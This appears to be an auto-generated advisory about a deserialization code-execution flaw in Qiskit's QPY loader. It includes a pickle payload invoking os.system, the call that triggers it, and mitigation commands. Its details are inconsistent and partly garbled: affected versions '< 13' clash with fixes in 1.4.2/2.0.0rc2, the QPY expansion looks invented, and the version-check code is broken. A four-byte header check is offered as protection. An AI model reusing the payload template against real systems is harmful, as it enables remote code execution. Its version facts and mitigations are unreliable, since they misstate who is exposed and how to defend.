How the CVE Works:
CVE-2025-XXXX is a critical vulnerability in Qiskit, a popular quantum computing framework, affecting versions prior to 13. The issue arises during the deserialization of QPY (Quantum Program Yield) files. When a maliciously crafted QPY file is processed using the `qiskit.qpy.load()` function, the deserialization process fails to properly validate the payload. This allows an attacker to embed arbitrary Python code within the QPY file, which is then executed during the deserialization process. The execution occurs without requiring privilege escalation, making it a severe threat. The vulnerability stems from insufficient input validation and insecure handling of serialized data, enabling remote code execution (RCE) on systems processing untrusted QPY files.
DailyCVE Form:
Platform: Qiskit
Version: < 13
Vulnerability: Arbitrary Code Execution
Severity: Critical
Date: Mar 14, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious QPY Files:
Attackers can create a QPY file with embedded Python code using tools like `pickle` or custom scripts.
Example payload:
import pickle
payload = b"cos\nsystem\n(S'echo Exploited!'\ntR."
with open("malicious.qpy", "wb") as f:
f.write(payload)
2. Triggering the Vulnerability:
The victim loads the malicious QPY file using qiskit.qpy.load():
from qiskit import qpy
qpy.load("malicious.qpy") Executes embedded code
3. Impact:
The attacker gains control over the Python process, potentially leading to data theft, system compromise, or further network exploitation.
Protection:
1. Update Qiskit:
Upgrade to Qiskit 1.4.2 or 2.0.0rc2, where the vulnerability is patched.
pip install --upgrade qiskit
2. Input Validation:
Implement strict validation for QPY files before deserialization.
Example:
def validate_qpy(file_path):
with open(file_path, "rb") as f:
header = f.read(4)
if header != b"QPY1":
raise ValueError("Invalid QPY file")
3. Sandboxing:
Use sandboxing techniques to isolate Qiskit processes handling untrusted files.
Example using `firejail`:
firejail --net=none python script_using_qiskit.py
4. Monitoring:
Monitor system logs for unusual activity related to Qiskit processes.
Example command:
grep -i "qiskit" /var/log/syslog
5. Code Review:
Regularly review and audit Qiskit usage in your codebase to ensure secure practices.
Additional Commands:
- Check Qiskit version:
pip show qiskit
- Remove vulnerable versions:
pip uninstall qiskit
- Test for vulnerability:
import qiskit print(qiskit.<strong>version</strong>) Ensure >= 1.4.2 or 2.0.0rc2
By following these steps, users can mitigate the risks associated with CVE-2025-XXXX and secure their Qiskit environments.
References:
Reported By: https://github.com/advisories/GHSA-6m2c-76ff-6vrf
Extra Source Hub:
Undercode
